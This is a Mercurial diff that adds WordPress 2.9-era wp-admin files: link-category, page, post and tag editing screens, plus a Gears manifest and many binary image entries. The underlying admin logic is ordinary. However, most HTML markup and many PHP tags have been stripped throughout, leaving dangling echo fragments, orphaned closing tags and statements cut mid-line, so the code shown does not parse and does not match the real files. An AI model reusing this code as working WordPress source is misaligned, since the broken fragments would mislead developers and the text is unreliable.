+ + add_query_arg( 'pagenum', '%#%' ), + 'format' => '', + 'prev_text' => __('«'), + 'next_text' => __('»'), + 'total' => ceil(wp_count_terms('link_category') / $catsperpage), + 'current' => $pagenum +)); + +if ( $page_links ) + echo "
$page_links
"; +?> + +
+ + + +
+ +
+
+ +
+ + + + + + + + + + + + + + + + $start, 'number' => $catsperpage, 'hide_empty' => 0); +if ( !empty( $_GET['s'] ) ) + $args['search'] = $_GET['s']; + +$categories = get_terms( 'link_category', $args ); +if ( $categories ) { + $output = ''; + foreach ( $categories as $category ) { + $output .= link_cat_row($category); + } + echo $output; + unset($category); +} + +?> + +
+ +
+$page_links
"; +?> + +
+ + +
+ +
+
+
+ + +
+

Note:
Deleting a category does not delete the links in that category. Instead, links that were only assigned to the deleted category are set to the category %s.'), get_term_field('name', get_option('default_link_category'), 'link_category')) ?>

+
+ + +
+
+ +
+
+ +parent = 0; do_action('add_link_category_form_pre', $category); ?> + +
+

+
+
+ + + +
+ + +
+ +
+ + +

+
+ +
+ + +

+
+ +

+ +
+
+ + + +
+
+ +
+
+ + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/edit-link-category-form.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/edit-link-category-form.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,90 @@ +' . __('Edit Link Category') . ''; + $submit_text = __('Update Category'); + $form = '
'; + $action = 'editedcat'; + $nonce_action = 'update-link-category_' . $cat_ID; + do_action('edit_link_category_form_pre', $category); +} else { + $heading = '

' . __('Add Link Category') . '

'; + $submit_text = __('Add Category'); + $form = ''; + $action = 'addcat'; + $nonce_action = 'add-link-category'; + do_action('add_link_category_form_pre', $category); +} + +/** + * @ignore + * @since 2.7 + * @internal Used to prevent errors in page when no category is being edited. + * + * @param object $category + */ +function _fill_empty_link_category(&$category) { + if ( ! isset( $category->name ) ) + $category->name = ''; + + if ( ! isset( $category->slug ) ) + $category->slug = ''; + + if ( ! isset( $category->description ) ) + $category->description = ''; +} + +_fill_empty_link_category($category); +?> + +
+ + +
+ + + + + + + + + + + + + + + + + + +

+

+
+

+ + +
diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/edit-link-form.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/edit-link-form.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,115 @@ +Links / Edit Link' ), 'link-manager.php' ); + $submit_text = __('Update Link'); + $form = ' diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/edit-page-form.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/edit-page-form.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,195 @@ +View page'), get_permalink($post_ID) ); + break; + case 2: + $message = __('Custom field updated.'); + break; + case 3: + $message = __('Custom field deleted.'); + break; + case 4: + $message = sprintf( __('Page published. View page'), get_permalink($post_ID) ); + break; + case 5: + if ( isset($_GET['revision']) ) + $message = sprintf( __('Page restored to revision from %s'), wp_post_revision_title( (int) $_GET['revision'], false ) ); + break; + case 6: + $message = sprintf( __('Page submitted. Preview page'), add_query_arg( 'preview', 'true', get_permalink($post_ID) ) ); + break; + case 7: + // translators: Publish box date formt, see http://php.net/date - Same as in meta-boxes.php + $message = sprintf( __('Page scheduled for: %1$s. Preview page'), date_i18n( __( 'M j, Y @ G:i' ), strtotime( $post->post_date ) ), get_permalink($post_ID) ); + break; + case 8: + $message = sprintf( __('Page draft updated. Preview page'), add_query_arg( 'preview', 'true', get_permalink($post_ID) ) ); + break; + } +} + +$notice = false; +if ( 0 == $post_ID) { + $form_action = 'post'; + $nonce_action = 'add-page'; + $temp_ID = -1 * time(); // don't change this formula without looking at wp_write_post() + $form_extra = ""; +} else { + $post_ID = (int) $post_ID; + $form_action = 'editpost'; + $nonce_action = 'update-page_' . $post_ID; + $form_extra = ""; + $autosave = wp_get_post_autosave( $post_ID ); + if ( $autosave && mysql2date( 'U', $autosave->post_modified_gmt, false ) > mysql2date( 'U', $post->post_modified_gmt, false ) ) + $notice = sprintf( __( 'There is an autosave of this page that is more recent than the version below. View the autosave.' ), get_edit_post_link( $autosave->ID ) ); +} + +$temp_ID = (int) $temp_ID; +$user_ID = (int) $user_ID; + +require_once('includes/meta-boxes.php'); + +add_meta_box('submitdiv', __('Publish'), 'post_submit_meta_box', 'page', 'side', 'core'); +add_meta_box('pageparentdiv', __('Attributes'), 'page_attributes_meta_box', 'page', 'side', 'core'); +add_meta_box('postcustom', __('Custom Fields'), 'post_custom_meta_box', 'page', 'normal', 'core'); +add_meta_box('commentstatusdiv', __('Discussion'), 'post_comment_status_meta_box', 'page', 'normal', 'core'); +add_meta_box('slugdiv', __('Page Slug'), 'post_slug_meta_box', 'page', 'normal', 'core'); +if ( current_theme_supports( 'post-thumbnails', 'page' ) ) + add_meta_box('postimagediv', __('Page Image'), 'post_thumbnail_meta_box', 'page', 'side', 'low'); + +$authors = get_editable_user_ids( $current_user->id, true, 'page' ); // TODO: ROLE SYSTEM +if ( $post->post_author && !in_array($post->post_author, $authors) ) + $authors[] = $post->post_author; +if ( $authors && count( $authors ) > 1 ) + add_meta_box('pageauthordiv', __('Page Author'), 'post_author_meta_box', 'page', 'normal', 'core'); + +if ( 0 < $post_ID && wp_get_post_revisions( $post_ID ) ) + add_meta_box('revisionsdiv', __('Page Revisions'), 'post_revisions_meta_box', 'page', 'normal', 'core'); + +do_action('do_meta_boxes', 'page', 'normal', $post); +do_action('do_meta_boxes', 'page', 'advanced', $post); +do_action('do_meta_boxes', 'page', 'side', $post); + +require_once('admin-header.php'); +?> + +
+ +

+ +
+ +

+ + +

+ + + + + + + + + + + + +post_status ) wp_original_referer_field(true, 'previous'); ?> + +
+ +
+ +
+ +
+
+
+
+ + +
+
+ID); ?> +
+ID) && ! empty($sample_permalink_html) ) : + echo $sample_permalink_html; +endif; ?> +
+
+
+ +
+ +post_content); ?> + + + +
+   + +display_name ), mysql2date(get_option('date_format'), $post->post_modified), mysql2date(get_option('time_format'), $post->post_modified)); + } else { + printf(__('Last edited on %1$s at %2$s'), mysql2date(get_option('date_format'), $post->post_modified), mysql2date(get_option('time_format'), $post->post_modified)); + } + } +?> +
+ + +
+ + + +
+
+
+ +
+
+ + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/edit-pages.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/edit-pages.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,384 @@ +get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_type='page' AND post_status = %s", $post_status ) ); + $doaction = 'delete'; + } elseif ( ( $_GET['action'] != -1 || $_GET['action2'] != -1 ) && ( isset($_GET['post']) || isset($_GET['ids']) ) ) { + $post_ids = isset($_GET['post']) ? array_map( 'intval', (array) $_GET['post'] ) : explode(',', $_GET['ids']); + $doaction = ($_GET['action'] != -1) ? $_GET['action'] : $_GET['action2']; + } else { + wp_redirect( admin_url('edit-pages.php') ); + } + + switch ( $doaction ) { + case 'trash': + $trashed = 0; + foreach( (array) $post_ids as $post_id ) { + if ( !current_user_can('delete_page', $post_id) ) + wp_die( __('You are not allowed to move this page to the trash.') ); + + if ( !wp_trash_post($post_id) ) + wp_die( __('Error in moving to trash...') ); + + $trashed++; + } + $sendback = add_query_arg( array('trashed' => $trashed, 'ids' => join(',', $post_ids)), $sendback ); + break; + case 'untrash': + $untrashed = 0; + foreach( (array) $post_ids as $post_id ) { + if ( !current_user_can('delete_page', $post_id) ) + wp_die( __('You are not allowed to restore this page from the trash.') ); + + if ( !wp_untrash_post($post_id) ) + wp_die( __('Error in restoring from trash...') ); + + $untrashed++; + } + $sendback = add_query_arg('untrashed', $untrashed, $sendback); + break; + case 'delete': + $deleted = 0; + foreach( (array) $post_ids as $post_id ) { + $post_del = & get_post($post_id); + + if ( !current_user_can('delete_page', $post_id) ) + wp_die( __('You are not allowed to delete this page.') ); + + if ( $post_del->post_type == 'attachment' ) { + if ( ! wp_delete_attachment($post_id) ) + wp_die( __('Error in deleting...') ); + } else { + if ( !wp_delete_post($post_id) ) + wp_die( __('Error in deleting...') ); + } + $deleted++; + } + $sendback = add_query_arg('deleted', $deleted, $sendback); + break; + case 'edit': + $_GET['post_type'] = 'page'; + $done = bulk_edit_posts($_GET); + + if ( is_array($done) ) { + $done['updated'] = count( $done['updated'] ); + $done['skipped'] = count( $done['skipped'] ); + $done['locked'] = count( $done['locked'] ); + $sendback = add_query_arg( $done, $sendback ); + } + break; + } + + if ( isset($_GET['action']) ) + $sendback = remove_query_arg( array('action', 'action2', 'post_parent', 'page_template', 'post_author', 'comment_status', 'ping_status', '_status', 'post', 'bulk_edit', 'post_view', 'post_type'), $sendback ); + + wp_redirect($sendback); + exit(); +} elseif ( isset($_GET['_wp_http_referer']) && ! empty($_GET['_wp_http_referer']) ) { + wp_redirect( remove_query_arg( array('_wp_http_referer', '_wpnonce'), stripslashes($_SERVER['REQUEST_URI']) ) ); + exit; +} + +if ( empty($title) ) + $title = __('Edit Pages'); +$parent_file = 'edit-pages.php'; +wp_enqueue_script('inline-edit-post'); + +$post_stati = array( // array( adj, noun ) + 'publish' => array(_x('Published', 'page'), __('Published pages'), _nx_noop('Published (%s)', 'Published (%s)', 'page')), + 'future' => array(_x('Scheduled', 'page'), __('Scheduled pages'), _nx_noop('Scheduled (%s)', 'Scheduled (%s)', 'page')), + 'pending' => array(_x('Pending Review', 'page'), __('Pending pages'), _nx_noop('Pending Review (%s)', 'Pending Review (%s)', 'page')), + 'draft' => array(_x('Draft', 'page'), _x('Drafts', 'manage posts header'), _nx_noop('Draft (%s)', 'Drafts (%s)', 'page')), + 'private' => array(_x('Private', 'page'), __('Private pages'), _nx_noop('Private (%s)', 'Private (%s)', 'page')), + 'trash' => array(_x('Trash', 'page'), __('Trash pages'), _nx_noop('Trash (%s)', 'Trash (%s)', 'page')) + ); + +if ( !EMPTY_TRASH_DAYS ) + unset($post_stati['trash']); + +$post_stati = apply_filters('page_stati', $post_stati); + +$query = array('post_type' => 'page', 'orderby' => 'menu_order title', + 'posts_per_page' => -1, 'posts_per_archive_page' => -1, 'order' => 'asc'); + +$post_status_label = __('Pages'); +if ( isset($_GET['post_status']) && in_array( $_GET['post_status'], array_keys($post_stati) ) ) { + $post_status_label = $post_stati[$_GET['post_status']][1]; + $query['post_status'] = $_GET['post_status']; + $query['perm'] = 'readable'; +} + +$query = apply_filters('manage_pages_query', $query); +wp($query); + +if ( is_singular() ) { + wp_enqueue_script( 'admin-comments' ); + enqueue_comment_hotkeys_js(); +} + +require_once('admin-header.php'); ?> + +
+ +

' . __('Search results for “%s”') . '', esc_html( get_search_query() ) ); ?> +

+ + +

+' . __('Undo') . '
'; + unset($_GET['trashed']); +} +if ( isset($_GET['untrashed']) && (int) $_GET['untrashed'] ) { + printf( _n( 'Page restored from the trash.', '%s pages restored from the trash.', $_GET['untrashed'] ), number_format_i18n( $_GET['untrashed'] ) ); + unset($_GET['untrashed']); +} +$_SERVER['REQUEST_URI'] = remove_query_arg( array('locked', 'skipped', 'updated', 'deleted', 'trashed', 'untrashed'), $_SERVER['REQUEST_URI'] ); +?> +

+ + + +

|

+ + +
+ + + + + + + + +
+ +post_count / $per_page); +$page_links = paginate_links( array( + 'base' => add_query_arg( 'pagenum', '%#%' ), + 'format' => '', + 'prev_text' => __('«'), + 'next_text' => __('»'), + 'total' => $num_pages, + 'current' => $pagenum +)); + +$is_trash = isset($_GET['post_status']) && $_GET['post_status'] == 'trash'; + +if ( $page_links ) : ?> +
' . __( 'Displaying %s–%s of %s' ) . '%s', + number_format_i18n( ( $pagenum - 1 ) * $per_page + 1 ), + number_format_i18n( min( $pagenum * $per_page, $wp_query->post_count ) ), + number_format_i18n( $wp_query->post_count ), + $page_links +); echo $page_links_text; ?>
+ + +
+ + + + + + +
+ +
+
+ +
+ + + + + + + + + + + + + + + + + +
+ +
+$page_links_text
"; +?> + +
+ + + + + +
+ +
+
+ + +
+

+ + + + + + +
+ + +get_results( $wpdb->prepare("SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_approved != 'spam' ORDER BY comment_date", $id) ); + if ( $comments ) : + // Make sure comments, post, and post_author are cached + update_comment_cache($comments); + $post = get_post($id); + $authordata = get_userdata($post->post_author); + ?> + +
+ + + + + + + + + + +comment_ID, 'single', false, false ); +?> + +
+ +
+ + + + + + + + + + + + + + + + + + + + + + +
\ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/edit-tag-form.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/edit-tag-form.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,53 @@ + +

+ + +
+ +

+
+
+ + + + + + + + + + + + + + + + + + +
+


+
+

+ +
+
diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/edit-tags.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/edit-tags.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,325 @@ + + +
+ +

' . __('Search results for “%s”') . '', esc_html( stripslashes($_GET['s']) ) ); ?> +

+ + +

+ +
+ +
+ + +
+
+ +
+ +
+
+
+ +
+ add_query_arg( 'pagenum', '%#%' ), + 'format' => '', + 'prev_text' => __('«'), + 'next_text' => __('»'), + 'total' => ceil(wp_count_terms($taxonomy) / $tags_per_page), + 'current' => $pagenum +)); + +if ( $page_links ) + echo "
$page_links
"; +?> + +
+ + + +
+ +
+
+ +
+ + + + + + + + + + + + + + + + + +
+ +
+$page_links
"; +?> + +
+ + +
+ +
+
+ +
+ +
+
+ +
+
+ +
+

+ $taxonomy, 'link' => 'edit')); +else + wp_tag_cloud(array('taxonomy' => $taxonomy)); +?> +
+ + + +
+

+
+ + + + +
+ + +

+
+ +
+ + +

+
+ +
+ + +

+
+ +

+ +
+ + +
+
+ +
+ + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/edit.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/edit.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,383 @@ +get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_type='post' AND post_status = %s", $post_status ) ); + $doaction = 'delete'; + } elseif ( ( $_GET['action'] != -1 || $_GET['action2'] != -1 ) && ( isset($_GET['post']) || isset($_GET['ids']) ) ) { + $post_ids = isset($_GET['post']) ? array_map( 'intval', (array) $_GET['post'] ) : explode(',', $_GET['ids']); + $doaction = ($_GET['action'] != -1) ? $_GET['action'] : $_GET['action2']; + } else { + wp_redirect( admin_url('edit.php') ); + } + + switch ( $doaction ) { + case 'trash': + $trashed = 0; + foreach( (array) $post_ids as $post_id ) { + if ( !current_user_can('delete_post', $post_id) ) + wp_die( __('You are not allowed to move this post to the trash.') ); + + if ( !wp_trash_post($post_id) ) + wp_die( __('Error in moving to trash...') ); + + $trashed++; + } + $sendback = add_query_arg( array('trashed' => $trashed, 'ids' => join(',', $post_ids)), $sendback ); + break; + case 'untrash': + $untrashed = 0; + foreach( (array) $post_ids as $post_id ) { + if ( !current_user_can('delete_post', $post_id) ) + wp_die( __('You are not allowed to restore this post from the trash.') ); + + if ( !wp_untrash_post($post_id) ) + wp_die( __('Error in restoring from trash...') ); + + $untrashed++; + } + $sendback = add_query_arg('untrashed', $untrashed, $sendback); + break; + case 'delete': + $deleted = 0; + foreach( (array) $post_ids as $post_id ) { + $post_del = & get_post($post_id); + + if ( !current_user_can('delete_post', $post_id) ) + wp_die( __('You are not allowed to delete this post.') ); + + if ( $post_del->post_type == 'attachment' ) { + if ( ! wp_delete_attachment($post_id) ) + wp_die( __('Error in deleting...') ); + } else { + if ( !wp_delete_post($post_id) ) + wp_die( __('Error in deleting...') ); + } + $deleted++; + } + $sendback = add_query_arg('deleted', $deleted, $sendback); + break; + case 'edit': + $done = bulk_edit_posts($_GET); + + if ( is_array($done) ) { + $done['updated'] = count( $done['updated'] ); + $done['skipped'] = count( $done['skipped'] ); + $done['locked'] = count( $done['locked'] ); + $sendback = add_query_arg( $done, $sendback ); + } + break; + } + + if ( isset($_GET['action']) ) + $sendback = remove_query_arg( array('action', 'action2', 'cat', 'tags_input', 'post_author', 'comment_status', 'ping_status', '_status', 'post', 'bulk_edit', 'post_view', 'post_type'), $sendback ); + + wp_redirect($sendback); + exit(); +} elseif ( isset($_GET['_wp_http_referer']) && ! empty($_GET['_wp_http_referer']) ) { + wp_redirect( remove_query_arg( array('_wp_http_referer', '_wpnonce'), stripslashes($_SERVER['REQUEST_URI']) ) ); + exit; +} + +if ( empty($title) ) + $title = __('Edit Posts'); +$parent_file = 'edit.php'; +wp_enqueue_script('inline-edit-post'); + +$user_posts = false; +if ( !current_user_can('edit_others_posts') ) { + $user_posts_count = $wpdb->get_var( $wpdb->prepare("SELECT COUNT(1) FROM $wpdb->posts WHERE post_type = 'post' AND post_status != 'trash' AND post_author = %d", $current_user->ID) ); + $user_posts = true; + if ( $user_posts_count && empty($_GET['post_status']) && empty($_GET['all_posts']) && empty($_GET['author']) ) + $_GET['author'] = $current_user->ID; +} + +list($post_stati, $avail_post_stati) = wp_edit_posts_query(); + +require_once('admin-header.php'); + +if ( !isset( $_GET['paged'] ) ) + $_GET['paged'] = 1; + +if ( empty($_GET['mode']) ) + $mode = 'list'; +else + $mode = esc_attr($_GET['mode']); ?> + +
+ +

' . __('Search results for “%s”') . '', esc_html( get_search_query() ) ); ?> +

+ + +

|

+ + + +

+' . __('Undo') . '
'; + unset($_GET['trashed']); +} + +if ( isset($_GET['untrashed']) && (int) $_GET['untrashed'] ) { + printf( _n( 'Post restored from the trash.', '%s posts restored from the trash.', $_GET['untrashed'] ), number_format_i18n( $_GET['untrashed'] ) ); + unset($_GET['undeleted']); +} + +$_SERVER['REQUEST_URI'] = remove_query_arg( array('locked', 'skipped', 'updated', 'deleted', 'trashed', 'untrashed'), $_SERVER['REQUEST_URI'] ); +?> +

+ + +
+ + + + + + + + + + +
+ add_query_arg( 'paged', '%#%' ), + 'format' => '', + 'prev_text' => __('«'), + 'next_text' => __('»'), + 'total' => $wp_query->max_num_pages, + 'current' => $_GET['paged'] +)); + +$is_trash = isset($_GET['post_status']) && $_GET['post_status'] == 'trash'; + +?> + +
+ + + + +posts WHERE post_type = 'post' ORDER BY post_date DESC"; + +$arc_result = $wpdb->get_results( $arc_query ); + +$month_count = count($arc_result); + +if ( $month_count && !( 1 == $month_count && 0 == $arc_result[0]->mmonth ) ) { +$m = isset($_GET['m']) ? (int)$_GET['m'] : 0; +?> + + + + __('View all categories'), 'hide_empty' => 0, 'hierarchical' => 1, + 'show_count' => 0, 'orderby' => 'name', 'selected' => $cat); +wp_dropdown_categories($dropdown_options); +do_action('restrict_manage_posts'); +?> + + + + +
+ + +
' . __( 'Displaying %s–%s of %s' ) . '%s', + number_format_i18n( ( $_GET['paged'] - 1 ) * $wp_query->query_vars['posts_per_page'] + 1 ), + number_format_i18n( min( $_GET['paged'] * $wp_query->query_vars['posts_per_page'], $wp_query->found_posts ) ), + number_format_i18n( $wp_query->found_posts ), + $page_links +); echo $page_links_text; ?>
+ + + + +
+
+ +
+ + + +
+ +$page_links_text
"; +?> + +
+ + + + + +
+
+
+
+ + +
+

+ + + + + + +
+
+ + + + +
+ +

+ +

+

+

+
+

+ + + + + + +
+ +
+

+ +

+
+
+ + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/gears-manifest.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/gears-manifest.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,51 @@ + +{ +"betaManifestVersion" : 1, +"version" : "", +"entries" : [ + + +]} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/align-center.png Binary file web/wp-admin/images/align-center.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/align-left.png Binary file web/wp-admin/images/align-left.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/align-none.png Binary file web/wp-admin/images/align-none.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/align-right.png Binary file web/wp-admin/images/align-right.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/archive-link.png Binary file web/wp-admin/images/archive-link.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/blue-grad.png Binary file web/wp-admin/images/blue-grad.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/browse-happy.gif Binary file web/wp-admin/images/browse-happy.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/bubble_bg-rtl.gif Binary file web/wp-admin/images/bubble_bg-rtl.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/bubble_bg.gif Binary file web/wp-admin/images/bubble_bg.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/button-grad-active-vs.png Binary file web/wp-admin/images/button-grad-active-vs.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/button-grad-active.png Binary file web/wp-admin/images/button-grad-active.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/button-grad-vs.png Binary file web/wp-admin/images/button-grad-vs.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/button-grad.png Binary file web/wp-admin/images/button-grad.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/comment-grey-bubble.png Binary file web/wp-admin/images/comment-grey-bubble.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/date-button.gif Binary file web/wp-admin/images/date-button.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/ed-bg-vs.gif Binary file web/wp-admin/images/ed-bg-vs.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/ed-bg.gif Binary file web/wp-admin/images/ed-bg.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/fade-butt.png Binary file web/wp-admin/images/fade-butt.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/fav-arrow-rtl.gif Binary file web/wp-admin/images/fav-arrow-rtl.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/fav-arrow-vs.gif Binary file web/wp-admin/images/fav-arrow-vs.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/fav-arrow.gif Binary file web/wp-admin/images/fav-arrow.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/fav-top-vs.gif Binary file web/wp-admin/images/fav-top-vs.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/fav-top.png Binary file web/wp-admin/images/fav-top.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/fav-vs.png Binary file web/wp-admin/images/fav-vs.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/fav.png Binary file web/wp-admin/images/fav.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/generic.png Binary file web/wp-admin/images/generic.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/gray-grad.png Binary file web/wp-admin/images/gray-grad.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/icons32-vs.png Binary file web/wp-admin/images/icons32-vs.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/icons32.png Binary file web/wp-admin/images/icons32.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/imgedit-icons.png Binary file web/wp-admin/images/imgedit-icons.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/list-vs.png Binary file web/wp-admin/images/list-vs.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/list.png Binary file web/wp-admin/images/list.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/loading-publish.gif Binary file web/wp-admin/images/loading-publish.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/loading.gif Binary file web/wp-admin/images/loading.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/logo-ghost.png Binary file web/wp-admin/images/logo-ghost.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/logo-login.gif Binary file web/wp-admin/images/logo-login.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/logo.gif Binary file web/wp-admin/images/logo.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/marker.png Binary file web/wp-admin/images/marker.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/mask.png Binary file web/wp-admin/images/mask.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/media-button-image.gif Binary file web/wp-admin/images/media-button-image.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/media-button-music.gif Binary file web/wp-admin/images/media-button-music.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/media-button-other.gif Binary file web/wp-admin/images/media-button-other.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/media-button-video.gif Binary file web/wp-admin/images/media-button-video.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/menu-arrows.gif Binary file web/wp-admin/images/menu-arrows.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/menu-bits-rtl-vs.gif Binary file web/wp-admin/images/menu-bits-rtl-vs.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/menu-bits-rtl.gif Binary file web/wp-admin/images/menu-bits-rtl.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/menu-bits-vs.gif Binary file web/wp-admin/images/menu-bits-vs.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/menu-bits.gif Binary file web/wp-admin/images/menu-bits.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/menu-dark-rtl.gif Binary file web/wp-admin/images/menu-dark-rtl.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/menu-dark.gif Binary file web/wp-admin/images/menu-dark.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/menu-vs.png Binary file web/wp-admin/images/menu-vs.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/menu.png Binary file web/wp-admin/images/menu.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/no.png Binary file web/wp-admin/images/no.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/required.gif Binary file web/wp-admin/images/required.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/resize.gif Binary file web/wp-admin/images/resize.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/screen-options-left.gif Binary file web/wp-admin/images/screen-options-left.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/screen-options-right-up.gif Binary file web/wp-admin/images/screen-options-right-up.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/screen-options-right.gif Binary file web/wp-admin/images/screen-options-right.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/se.png Binary file web/wp-admin/images/se.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/star.gif Binary file web/wp-admin/images/star.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/toggle-arrow-rtl.gif Binary file web/wp-admin/images/toggle-arrow-rtl.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/toggle-arrow.gif Binary file web/wp-admin/images/toggle-arrow.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/visit-site-button-grad-vs.gif Binary file web/wp-admin/images/visit-site-button-grad-vs.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/visit-site-button-grad.gif Binary file web/wp-admin/images/visit-site-button-grad.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/wheel.png Binary file web/wp-admin/images/wheel.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/white-grad-active.png Binary file web/wp-admin/images/white-grad-active.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/white-grad.png Binary file web/wp-admin/images/white-grad.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/wordpress-logo.png Binary file web/wp-admin/images/wordpress-logo.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/wp-logo-vs.gif Binary file web/wp-admin/images/wp-logo-vs.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/wp-logo.gif Binary file web/wp-admin/images/wp-logo.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/images/wpspin_dark.gif Binary file web/wp-admin/images/wpspin_dark.gif has changed diff -r 0d9a58d2c515 -r 